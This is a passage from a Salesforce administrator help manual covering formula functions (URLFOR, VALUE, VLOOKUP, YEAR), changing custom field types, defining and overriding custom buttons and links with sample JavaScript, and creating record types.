Tips: • Use global variables to access special merge fields for actions, s-controls, and static
resources.
• If an input parameter name begins with any character other than a letter or dollar
sign ($), enclose it in quotation marks.

983
Customize Operators and Functions

• Enclose multiple inputs in brackets to indicate they are together:

{!URLFOR($Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

• Set inputs to null if you do not have any to pass yet you want to set the no
override argument:

{!URLFOR($Action.Case.View, Case.Id, null, true)}

• When you override a standard action, that action is no longer available in


Salesforce.com. For example, if you override the new account action, that affects the
New button on all pages such as the account detail page, account related lists on
other detail pages, and the Create New drop down list in the sidebar. To override
a standard action yet still access it, use the no override argument in your s-control
to reference that action.
• When you override the tab home page for a standard or custom tab, set target to
the “Tab” $Action global variable and id to the object type. For example,
URLFOR($Action.Account.Tab, $ObjectType.Account)
• This function is only available in custom buttons, links, s-controls, and Visualforce
pages.

VALUE

Description: Converts a text string to a number.


Use: VALUE(text) and replace text with the field or expression you want converted into
a number.
Example: Lead Number
VALUE(Lead_Number__c) returns a number for the text value in the auto-number
field Lead Number. This can be useful if you want to use the Lead Number field in
a calculation. Note that auto-number fields are actually text fields and must be converted
to a number for numeric calculations.
Round Robin Lead Assignment
MOD(VALUE(Lead_Number__c), 3)
This formula is for a custom formula field named Round_Robin_ID that assigns each
lead a value of 0, 1, or 2. This formula uses a custom auto-number field called Lead
Number that assigns each lead a sequential number starting with 1. The MOD function
divides the lead number by the number of lead queues available (three in this example)
and returns a remainder of 0, 1, or 2. Use the value of this formula field in your lead
assignment rules to assign lead records to different queues. For example:
• Round_Robin_ID = 0 is assigned to Queue A
• Round_Robin_ID = 1 is assigned to Queue B
• Round_Robin_ID = 2 is assigned to Queue C

984
Customize Operators and Functions

Tips:
Make sure the text in a VALUE function does not include any special characters other
than a decimal point (period) or minus sign (dash). For example, the formula
VALUE(Text_field__c) produces these results:
• If Text field is 123, the result is 123
• If Text field is blank, the result is #Error!
• If Text field is $123, the result is #Error!
• If Text field is EUR123, the result is #Error!

VLOOKUP

Description: Returns a value by looking up a related value on a custom object similar to the
VLOOKUP() Excel function.
Use: VLOOKUP(field_to_return, field_on_lookup_object, lookup_value)
and replace field_to_return with the field that contains the value you want returned,
field_on_lookup_object with the field on the related object that contains the value
you want to match, and lookup_value with the value you want to match.
Validation Rule Example: This example checks that a billing postal code is valid by looking up the first five
characters of the value in a custom object called Zip_Code__c that contains a record
for every valid zip code in the US. If the zip code is not found in the Zip_Code__c
object or the billing state does not match the corresponding State_Code__c in the
Zip_Code__c object, an error is displayed.
Note:
• Use this example when the billing country is US or USA.
• You can download US zip codes in CSV file format from
http://zips.sourceforge.net.

AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))

<> BillingState
)

Tips: • The field_to_return must be an auto number, roll-up summary, lookup


relationship, master-detail relationship, checkbox, date, date/time, email, number,
percent, phone, picklist, text, text area, or URL field type.
• The field_on_lookup_object must be the Record Name field on a custom
object.
• The field_on_lookup_object and lookup_value must be the same data type.
• If more than one record matches, the value from the first record is returned.
• The value returned must be on a custom object.
• You cannot delete the custom field or custom object referenced in this function.

985
Customize Changing Custom Field Type

• This function is only available in validation rules.

YEAR

Description: Returns the four-digit year in number format of a given date.


Use: YEAR(date) and replace date with the field or expression that contains the year you
want returned.
Example: YEAR(TODAY())- YEAR(Initial_Meeting__c) returns the number of years since
your initial meeting with a client. This example uses a custom date field called Initial
Meeting.

See Also:
Examples of Advanced Formula Fields
About Formulas
Building Formulas

Changing Custom Field Type


Available in: All Editions

User Permissions Needed


To change custom fields: “Customize Application”

To change the data type of an existing custom field:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For fields on Salesforce Knowledge article types, click Setup ➤ Customize ➤ Knowledge ➤ Article Types and select
an article type. The article-type detail page has a Fields related list.
3. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
4. Click Edit next to the custom field you want to change.
5. Click Change Field Type.
6. Select a new data type and click Next.
7. Enter a field label, name, any other attributes, and click Save.

For more information, see Notes on Changing Custom Field Types on page 987.

See Also:
Notes on Changing Custom Field Types
About Roll-Up Summary Fields

986
Customize Changing Custom Field Type

Notes on Changing Custom Field Types


Consider the following before converting fields:

• Only convert custom fields for which no data exists or you risk losing your data. Changing the data type of an existing
custom field can cause data loss in the following situations:

- Changing to or from type Date or Date/Time


- Changing to Number from any other type
- Changing to Percent from any other type
- Changing to Currency from any other type
- Changing from Checkbox to any other type
- Changing from Picklist (Multi-Select) to any other type
- Changing to Picklist (Multi-Select) from any other type
Currently defined picklist values are retained when you change a picklist to a multi-select picklist. If records contain
values that are not in the picklist definition, those values will be deleted from those records when the data type changes.
- Changing from Auto Number to any other type
- Changing to Auto Number from any type except Text
- Changing from Text Area (Long) to any type except Email, Phone, Text, Text Area, or URL

• If data is lost, any list view based on the custom field will be deleted, and assignment and escalation rules may be affected.
• If you change the data type of any custom field that is used for lead conversion, that lead field mapping will be deleted.
• If you change the data type of a custom field that is set as an external ID, choosing a data type other than text, number,
or email will cause the field to no longer act as an external ID.
• The option to change the data type of a custom field is not available for all data types. For example, existing custom fields
cannot be converted into encrypted fields nor can encrypted fields be converted into another data type.
• In Salesforce Knowledge article types, the file field type can't be converted into other data types.
• You cannot change the data type of a custom field that is referenced by a Visualforce page.
• For descriptions of other attributes you can set, see Custom Field Attributes on page 817.
• Changing a custom field type may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.
The following data types have additional restrictions when you convert them:

Data Type Description


Auto Number The data in any auto-number field remains unchanged if you
convert it into a text field. Also, you can safely convert a text
custom field into an auto-number field without losing your
data. Converting an auto-number field into any other data
type results in data loss. Auto-number fields can contain a
maximum of 30 characters. Before converting a text custom
field into an auto-number field, change any records that
contain more than 30 characters in that field.
Formula Formula fields are special read-only fields that cannot be
converted to any other data type. Likewise, you cannot convert
any other field type into a formula field.

987
Customize Changing Custom Field Type

Data Type Description


Picklist Changing your custom picklists into custom checkboxes is
simple. If you select Checkbox as the new data type, you can
choose which picklist values to map to checked boxes and
unchecked boxes. You can change custom picklists into
multi-select picklists without losing any data. Since your
records only contain a single value of that picklist, that value
will still be selected but users can select additional values. You
can also change a picklist custom field into a text custom field
or a text custom field into a picklist custom field without any
data loss.
Relationships • If your organization has a large number of records,
Salesforce.com displays a waiting page after you have
requested to change a master-detail into a lookup
relationship or a lookup into a master-detail relationship.
• After you have created a roll-up summary field on an
object, you cannot convert the object's master-detail
relationship into a lookup relationship.
• A lookup cannot be converted to a master detail
relationship if there are any existing records on the object
that have a null value set for the lookup relationship.

Text Area (Long) When you convert a long text area field to an Email, Phone,
Text, Text Area, or URL type field, the data in your records
is truncated to the first 255 characters of the field.
Text Area (Rich) You can only convert rich text area fields into long text area
fields. Any images are deleted the next time the long text area
field is saved.

Note: You cannot change the data type of a custom field if it is referenced in an Apex script. For more information,
see Force.com Apex Code Overview on page 1538.

See Also:
Custom Field Attributes

988
Customize Setting Custom Buttons and Links

Setting Custom Buttons and Links


Available in: All Editions

User Permissions Needed


To create or change custom buttons and links: “Customize Application”

Create custom buttons and links to integrate Salesforce.com data with external URLs, applications, your company’s intranet,
or other back-end office systems.
Custom links can link to:

• An external URL, such as www.google.com or your company’s intranet


• A custom s-control in the custom s-control library, such as a Java applet or Active-X control

Custom buttons can:

• Connect users to external applications, such as a web page that displays a map to a contact's address
• Run an s-control from the s-control library, such as an s-control that escalates a case from the case detail page
• Launch custom links

For both custom links and buttons, you can choose the display window properties that determine how the target of a link or
button is displayed to your users. Custom links and s-controls can include Salesforce.com fields as tokens within the URL or
custom s-control. For example, you could include an account name in a URL that searches Yahoo:
http://search.yahoo.com/bin/search?p={!Account_Name}. In addition, s-controls can include operators and
functions.
In addition, you can override the default action of some standard buttons and customize the behavior of tab home pages to
suit your organization's needs. For more information, see Overriding Standard Buttons and Tab Home Pages on page 996.

See Also:
Defining Custom Buttons and Links
Adding Default Custom Links
About S-Controls
Administrator tip sheet: Building Salesforce Custom Links

989
Customize Setting Custom Buttons and Links

Defining Custom Buttons and Links


Custom buttons and links are available in: All Editions
Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

User Permissions Needed


To create or change custom buttons or links: “Customize Application”

Before creating a custom button or link, determine what action you want to occur when a user clicks it. Consider a Visualforce
page if you want the button or link to launch a custom page or other code.
To define custom buttons and links:

1. Select Setup ➤ Customize, select the appropriate tab or users link, and choose Buttons and Links. Custom buttons are
not available on the user object or custom home pages.
Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you
can override a button that applies to both tasks and events by clicking Setup ➤ Customize ➤ Activities ➤ Activity
Buttons.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click New from the Custom Buttons and Links section.
3. Enter the following attributes:

Attribute Name Description


Label The text that displays on user pages for the custom button or link.
Name The unique name for the button or link used when referenced from a merge field. This name
can contain only underscores and alphanumeric characters, and must be unique in your
organization. It must begin with a letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.
Namespace Prefix In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier
that distinguishes your package and its contents from packages of other developers on
AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not
recognized as unique. Your namespace prefix must be globally unique across all Salesforce.com
organizations. It keeps your managed package under your control exclusively.
Protected Component Protected components cannot be linked to or referenced by components created in a subscriber
organization. A developer can delete a protected component in a future release without
worrying about failing installations. However, once a component is marked as unprotected
and is released globally, the developer cannot delete it.
Description Text that distinguishes the button or link from others. This displays only to administrators
when setting up buttons and links.

990
Customize Setting Custom Buttons and Links

Attribute Name Description


Display Type Determines where the button or link is available on page layouts:
Detail Page Link
Select this option if you want to add the link to the Custom Links section of your page
layouts.
Detail Page Button
Select this option if you want to add the custom button to a record's detail page. You
can only add detail page buttons to the Button Section of a page layout.
List Button
Select this option if you want to add the custom button to a list view, search result layout,
or related list. You can only add list buttons to the Related List Section of a page layout
or the List View and Search Result layouts.
For list buttons, Salesforce.com automatically selects a Display Checkboxes (for
Multi-Record Selection) option that includes a checkbox next to each record in the
list, allowing users to select the records they want applied to the action on the list button.
Deselect this option if your custom button does not require the user to select records
such as one that quickly navigates the user to another page.

Behavior Choose the outcome of clicking the button or link.


When applicable, some settings have default values. For example, if you choose “Display in
new window,” the default height of a new window is 600 pixels. To change these settings,
see Editing Window Open Properties on page 993.

Content Source Choose whether to use a URL, s-control, JavaScript action, or Visualforce page as the content
of the button or link. To use an s-control, choose “Custom S-Control,” and select the s-control
from the drop-down list. To use a URL, select “URL,” and enter the link below in the text
area box exactly as it would appear in the address bar of a Web browser. To execute JavaScript
code when the button or link is activated, select “OnClick JavaScript,” and enter the code in
the text area box below. To use a Visualforce page, select “Visualforce Page,” and choose the
page from the drop-down list.
Note:

• Visualforce pages used as custom links on the home page cannot specify a
controller.
• Visualforce pages used as custom buttons or links on detail pages must specify a
standard controller of the same object.
• Visualforce pages used as custom list buttons must use a standard list controller
of the same object.

Content Enter the content of the button or link for buttons and links of type URL or OnClick
JavaScript:
• To insert a field, choose the field type in the Select Field Type drop-down list, and
choose one of the fields listed in the Insert Field drop-down list.

991
Customize Setting Custom Buttons and Links

Attribute Name Description


• To insert activity merge fields, select “Event” or “Task” from the Select Field Type
drop-down list.
• To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 931.
• To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.

Tip: Internet standards require special encoding for URLs. Salesforce.com


automatically encodes the text from any merge field you insert into a link. Encode
any additional text in your link manually. For example, to generate the following
URL:

http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:

http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.

Link Encoding Encoding setting that defaults to Unicode (UTF-8). Change the default encoding setting if
the target of a link requires data in a different format. This is available if your Content Source
is URL.

4. Optionally, click Check Syntax to validate all Salesforce.com merge fields and functions.
5. Click Save when you are finished.
Click Quick Save to save and continue editing.
Click Preview to view the URL specified.
Click Cancel to quit without saving your content.
6. Edit the page layout for the appropriate tab or search layout to display the new button or link.
If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail
page buttons can only be added to the Button Section of a page layout.
7. Optionally, set the window properties if you prefer the link or button opening using different settings than the user's default
browser settings.

992
Customize Setting Custom Buttons and Links

Note: The Link URL can be up to 3000 bytes. When data is substituted for the tokens in the URL, the link may
exceed 3000 bytes. Your browser may enforce additional limits for the maximum URL length.

See Also:
Custom Button Considerations
Viewing References to Salesforce.com Components
Useful Custom Buttons and Links
Editing Window Open Properties
Adding Default Custom Links
Overriding Standard Buttons and Tab Home Pages

Editing Window Open Properties

Available in: All Editions


S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit custom button or link properties: “Customize Application”

Custom buttons and links can open in different types of windows. If you have selected a custom button or link to open in a
popup window, set the window properties. If you leave the window properties blank, the custom button or link will use the
default settings of the user’s browser.
To edit the window open properties:

1. Select the custom button or link by clicking Setup ➤ Customize, selecting the appropriate tab or users link, clicking
Buttons and Links, and selecting the button or link name. Custom buttons are not available on the user object.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click Window Open Properties.
3. Edit the following properties:

Window Property Description


Width The width (in pixels) of the popup.
Height The height (in pixels) of the popup.
Window Position The location on the screen where the popup should open.
Resizeable Allow users to resize the popup window.
Show Address Bar Show the browser’s address bar which contains the URL.
Show Scrollbars Show browser scrollbars for the popup.

993
Customize Setting Custom Buttons and Links

Window Property Description


Show Toolbars Show the browser toolbars. Toolbars normally contain
navigation buttons like Back, Forward, and Print.
Show Menu Bar Show the browser menus. The menus typically contain
option like File and Edit.
Show Status Bar Show the status bar at the bottom of the browser.

Note: Some properties may not be available depending on the Behavior of the custom button or link. For
example, if you chose “Execute JavaScript,” no window open properties are available.

See Also:
Defining Custom Buttons and Links

Custom Button Considerations

Custom buttons and links are available in: All Editions


Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

User Permissions Needed


To create or change custom buttons or links: “Customize Application”

Review the following implementation notes and best practices for custom buttons:

Implementation Notes
• Custom buttons display at the top and bottom of the detail page to the right of all standard buttons.
• You can include s-controls in any field section on your page layout to display the s-control content “inline” without requiring
users to click a button or link to see it. Simply edit the page layout, choose the s-control, and drag it to any section on the
page layout.
• If your custom link references a URL, create a custom s-control that references that URL so you can include the s-control
directly on your page layout.
• Custom buttons are not distinguished from standard buttons in any graphical way. However, you can recognize them by
their location on the right of all standard buttons.
• If the button bar gets too wide on the detail page layout, the browser displays a horizontal scroll bar. If the button bar gets
too wide on the list view, search result, tagging result, or related list layouts, the buttons wrap.
• Custom buttons are available for activities under the individual setup links for tasks and events. To add a custom button
to an activity list view or search layout, first create a custom list button in tasks or events. Next, add it to your activity list
view or search result layouts. To override a button that applies to both tasks and events, click Setup ➤ Customize ➤
Activities ➤ Activity Buttons.

994
Customize Setting Custom Buttons and Links

• Custom buttons are not available for Web-to-Lead, Web-to-Case, the Case Teams related list, or the user object.
• If your organization uses person accounts, your person account records use any custom buttons and links you have made
for accounts. Use the person account page layouts to edit any custom links or detail page buttons for person account records.
To customize the list view or search result layouts for person accounts, edit the account list view and search result layouts
where you access account search layouts.
• If your organization uses the console, list buttons are available in the Mass Action drop-down list. List buttons will not
display in the mini page layouts. Pages that display due to custom buttons and links display in the console without the
header or sidebar.
• If you get an error message when overriding a button that appears in a list, try calling the s-control using the URLFOR
function.
• When creating custom buttons, be mindful of any validation rules your organization has for records on that object. For
example, a custom list button that changes case status may conflict with a case validation rule. In this scenario, Salesforce.com
displays the error message for the validation rule when users click the custom button.
• If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.

Best Practices
• Use formula functions in s-controls or custom buttons with caution. Because functions run on the server before your
HTML or JavaScript is passed to the browser, they can only evaluate information that exists at that time. Avoid using
functions like IF to evaluate conditions that only exist when the code reaches the browser, such as the value of a JavaScript
variable that is returned from your code.
• To prevent a user from performing a particular action, such as creating or editing, change the user's permissions rather
than hiding the standard button. Hiding a standard button removes it from a page layout but the link is still available and
users can navigate to the new or edit page manually.
• Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
• To insert activity merge fields, select “Event” or “Task” from the Select Field Type drop-down list.
• Do not select the Display Checkboxes (for Multi-Record Selection) option for list buttons that link to a URL that does
not support post operations. Checkboxes display next to records in a list if you have selected the Display Checkboxes (for
Multi-Record Selection) option for at least one list button in that list. However, selected records in this list are unaffected
when clicking a custom list button that does not have this option selected.
For considerations on overriding standard buttons, see Overriding Standard Buttons and Tab Home Pages on page 996.

See Also:
Defining Custom Buttons and Links
Useful Custom Buttons and Links

995
Customize Setting Custom Buttons and Links

Adding Default Custom Links

Available in: All Editions

User Permissions Needed


To create or change custom links: “Customize Application”

To add any of the predefined custom links:

1. Select Setup ➤ Customize, select the appropriate tab link, and choose Buttons and Links.
2. Click Default Custom Links.
3. Click Add Now! next to a sample link you want to add.
4. Change any of the default data for the link, as necessary.
5. Choose Save.
6. Edit the page layout for the appropriate tab to display the new link. See Managing Page Layouts on page 1012.

See Also:
Defining Custom Buttons and Links

Overriding Standard Buttons and Tab Home Pages


Available in: Enterprise, Unlimited, and Developer Editions
Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed


To override standard buttons and tab home pages: “Customize Application”
To reset button and tab home page overrides: “Customize Application”

Salesforce.com lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab
home page that displays when a user clicks a standard or custom object tab.
To override a standard button or a tab home page:

1. Before you override a standard button, review the considerations for overriding standard buttons.
2. Navigate to the appropriate override page:

• For standard objects, click Setup ➤ Customize, select the appropriate object or tab link, then click Buttons and Links.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override.

996
Customize Setting Custom Buttons and Links

Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links.

3. Pick the type of override you want associated with the action:

• No Override (use default)—Use a custom override provided by an installed package. If there isn't one installed, the
standard Salesforce.com behavior is used.
• Standard Salesforce.com Page—This option is only available for subscribers who are overriding the actions on an
installed custom object. If selected, the standard Salesforce.com behavior is used.
• Custom S-Control—Use the behavior from an s-control.
• Visualforce Page—Use the behavior from a Visualforce page.

4. Select the name of the s-control or Visualforce page you want to run when users click the button or tab.
When overriding buttons with a Visualforce page, only Visualforce pages that use the standard controller for the object
on which the button appears can be selected. For example, if you want to use a page to override the Edit button on accounts,
the page markup must include the standardController="Account" attribute on the <apex:page> tag:

<apex:page standardController="Account">

... page content here ...

</apex:page>

When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab,
pages with a custom controller, or pages with no controller can be selected.
When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected.
5. Optionally, enter any comments to note the reason for making this change.
6. Click Save.
Button overrides are global throughout Salesforce.com because overrides control the action behind the button. For example,
if you override the New button on opportunities, your replacement action takes effect wherever that action is available:

• The Opportunities tab home page


• Any Opportunities related lists on other objects such as accounts
• The Create New drop-down list in the sidebar
• Any browser bookmarks for this Salesforce.com page

To remove an override:

1. Click Setup ➤ Customize, select the appropriate object or tab link, and then click Buttons and Links.
For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click Edit next to the override.
3. Select No Override (default behavior).

997
Customize Setting Custom Buttons and Links

4. Click OK.

See Also:
Useful S-Controls
Defining Custom Buttons and Links

Considerations for Overriding Standard Buttons

Available in: Enterprise, Unlimited, and Developer Editions


Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed


To override standard buttons: “Customize Application”

Before you override a standard button, review the following considerations:

• You can override a standard button to run an s-control. To learn more about creating s-controls, see Defining Custom
S-Controls on page 1622.
• You can also override a standard button with a Visualforce page. To learn more about creating Visualforce pages, see
Defining Visualforce Pages on page 1602.
• If you override a standard button in Salesforce.com, that button is still available in Connect Offline or Salesforce Mobile,
but it retains its original behavior.
• You cannot add button overrides to a Force.com AppExchange package.
• Only some standard buttons can be overridden. For example, you cannot override the Save or Sharing buttons, but you
can override New, View, Edit, and Delete buttons.
• The View standard button refers to all of the links in Salesforce.com that display the detail page for a record. Overriding
the View standard button reroutes all of these links.
• If a button is not available for overrides, you can still hide it on the page layout.
• Button overrides affect everywhere that action or behavior is available. For example, overriding the New button on an
account also overrides the account option in the Create New drop-down list in the sidebar.
• You can override buttons on the detail page but not the edit page of a record.
• Buttons on lookup dialogs and tabs cannot be changed. However, you can change the buttons on list view and search result
layouts under search layouts.
• Buttons on reports cannot be changed.
• Some standard buttons can be overridden, but none can be relocated on the detail page or relabeled.
• If your organization uses person accounts, your person account records use any standard button overrides you have made
for accounts. Your person account records also use any overrides for the View Self-Service and Enable Self-Service buttons
you have made for contacts.
• If your organization uses the console, overrides for the Edit and View buttons for an object do not affect the Edit and
View buttons in the mini page layouts. Pages that display due to overrides display in the console without the header or
sidebar.

998
Customize Setting Custom Buttons and Links

• If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.

See Also:
Overriding Standard Buttons and Tab Home Pages

Viewing References to Salesforce.com Components


Custom buttons and links are available in: All Editions
S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Visualforce pages and custom components available in: Contact Manager, Group, Professional, Enterprise, Unlimited,
and Developer Editions

User Permissions Needed


To create or change custom buttons or links: “Customize Application”
To create, edit, and delete custom s-controls: “Customize Application”
To create, edit, and delete Visualforce pages and custom “Customize Application”
components
To clone, edit, or delete static resources: “Customize Application”

You can view a list of all the areas in Salesforce.com that reference a component. For example, view the custom links, custom
buttons, or page layouts that reference a custom s-control. To do this, click Where is this used? from the detail page of the
component. Salesforce.com lists the type of component that references the component and the label for that component. Click
any item in the list to view it directly.

See Also:
What is a Static Resource?
Defining Custom Buttons and Links
Custom Button Considerations
About S-Controls
Visualforce Overview
What is a Custom Component?

999
Customize Setting Custom Buttons and Links

Useful Custom Buttons and Links


User Permissions Needed
To create or change custom buttons or links: “Customize Application”

Custom buttons and links are available in: All Editions


Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

Use the following samples to get started using custom buttons and links:

• Simple Custom Buttons


• Custom List Buttons

See Also:
Defining Custom Buttons and Links
Custom Button Considerations

Simple Custom Buttons

Displaying Alerts
You may want to display a simple alert window with text. In this example, the custom button displays a popup dialog with a
welcome message containing the user's first name, using the !$User.FirstName merge field.
1. Define a custom button with the following attributes:
• Display Type is “Detail Page Button”
• Behavior is “Execute JavaScript”
• Content Source is “OnClick JavaScript”
• Use the following sample code:

alert ("Hello {!$User.FirstName}");

2. Add the button to the appropriate page layout.

Getting Record IDs


You may want to define a custom button that opens a popup window to display a list of record IDs for the records a user has
selected in a list. This is useful when testing to determine if you are getting the record IDs correctly before processing them
with a more complex process.
1. Define a custom list button with the following attributes:

1000
Customize Setting Custom Buttons and Links

• Display Type is “List Button”


Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

• Behavior is “Execute JavaScript”


• Content Source is “OnClick JavaScript”
• Use the following sample code:

idArray = {!GETRECORDIDS($ObjectType.Contact)};
alert("The Ids you have selected are: "+idArray);

Note: This example is for contacts. Change the object type for a different type of record.

2. Add the button to the appropriate related list on a page layout or list view layout.

Custom List Buttons

Mass Delete
Your busy users may want to delete more than one record in a list view or related list with a single click. Create the following
custom list button and add it your activity related lists and list views:
1. Define a custom list button for events with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

• Behavior is “Execute JavaScript”


• Content Source is “OnClick JavaScript”
• Use the following sample code:

{!REQUIRESCRIPT("/soap/ajax/9.0/connection.js")}

var records = {!GETRECORDIDS( $ObjectType.Event )};


var taskRecords = {!GETRECORDIDS( $ObjectType.Task)};
records = records.concat(taskRecords);

if (records[0] == null) {
alert("Please select at least one record.") }
else {

var errors = [];


var result = sforce.connection.deleteIds(records);
if (result && result.length){
var numFailed = 0;
var numSucceeded = 0;
for (var i = 0; i < result.length; i++){
var res = result[i];
if (res && res.success == 'true'){

1001
Customize Setting Custom Buttons and Links

numSucceeded++;
} else {
var es = res.getArray("errors");
if (es.length > 0) {
errors.push(es[0].message);
}
numFailed++;
}
}
if (numFailed > 0){
alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " +
errors.join("\n"));
} else {
alert("Number of records deleted: " + numSucceeded);
}
}
window.location.reload();
}

2. Add the custom list button to your activity list views.


3. Add the custom list button to any page layout that contains an activity related list. The custom button deletes any selected
task or event in the list.
You can install this custom button and others like it by going to http://sites.force.com/appexchange and browsing or searching
for the Mass Delete app.

Passing Record IDs to an External System


If you use Salesforce.com record IDs as unique identifiers for integrating with an external system, you can configure a list
button to pass those record IDs using a URL. In the example below, a list button calls a Visualforce page to determine the
record IDs of the records selected in a list and passes them in a URL query parameter to an external Web page called
“www.yourwebsitehere.com.”
1. Create a Visualforce page that uses the GETRECORDIDS function to retrieve a list of selected records:

<script type="text/javascript">

idArray = {!GETRECORDIDS($ObjectType.Account)};

window.location.href="http://www.yourwebsitehere.com?array="+idArray;

</script>

Note: Replace www.yourwebsitehere.com with your own URL.

2. Define a custom list button for accounts with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

• Behavior is “Display in existing window with sidebar”


• Content Source is “Visualforce Page”
• Select the Visualforce page you created in the first step.

1002
Customize Setting Custom Buttons and Links

3. Add the custom list button to the appropriate page layout or list view layout.

Reopening Cases
Related lists are valuable because they allow users to perform an action on several records at once. Add a custom list button
to your cases related lists so that users can reopen several cases on an opportunity at once.
1. Define a custom list button for cases with the following attributes:
• Display Type is “List Button”
Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

• Behavior is “Execute JavaScript”


• Content Source is “OnClick JavaScript”
• Use the following sample code:

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}

var records = {!GETRECORDIDS($ObjectType.Case)};


var newRecords = [];

if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}

result = sforce.connection.update(newRecords);

window.location.reload();
}

Note: This example references the AJAX Toolkit, which is available if API access is enabled for your
organization. For more information about the AJAX Toolkit, see https://wiki.developerforce.com/index.php/API.

2. Add the custom list button to your opportunity page layouts by editing the Cases related list.
Tip: Use this list button on any page layout that contains the cases related list, such as account or contact page
layouts.

Note: Notice the check for records[0] == null, which displays a message to users when they do not select at
least one record in the list.

1003
Customize Managing Record Types

RECORD TYPES

Managing Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types: “Customize Application”

Record types allow you to offer different business processes, picklist values, and page layouts to different users based on their
profiles. Record types can be used in various ways, for example:

• Create record types for opportunities to differentiate your regular sales deals from your professional services engagements
and offer different picklist values for each.
• Create record types for cases to display different page layouts for your customer support cases versus your billing cases.

Record Type Considerations


Keep the following considerations in mind when creating or changing a record type:
• The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes:
- Opportunity Stage
- Case Status
- Solution Status
- Lead Status

You can use these fields to provide different picklist values for different record types by assigning a different process to
each record type.
• Person accounts are account records to which a special kind of record type has been assigned. These record types are called
person account record types. Person account record types allow contact fields to be available on the account and allow the
account to be used in many situations as if it were a contact. A default person account record type named “Person Account”
is automatically created when person accounts are enabled for your organization. You can change the name of this record
type, and you can create additional person account record types.
• You cannot delete all the record types for an object if the object is referenced in an Apex script.
• You cannot deactivate a record type if it is in use by an email routing address for Email-to-Case or On-Demand
Email-to-Case.
• To create record types for campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Members ➤
Record Types.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.

1004
Customize Creating Record Types

• The following campaign member picklists are not available for record types:
- Status
- Salutation
- Lead Source

• Salesforce.com recommends creating no more than 200 record types. While there is no limit, organizations may have
difficulty managing their record types if they exceed 200.

See Also:
Viewing and Editing Record Types
Setting Record Type Preferences
Creating Record Types
Assigning Page Layouts
Assigning Record Types to Profiles
Administrator tip sheet: Tips & Hints for Record Types

Creating Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types: “Customize Application”

To create record types on a standard object:

1. Click Setup ➤ Customize, then select an object.


To create person account record types, click Setup ➤ Customize ➤ Accounts ➤ Person Accounts.
To create campaign member record types, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Members.
2. Click Record Types.
3. Click New.
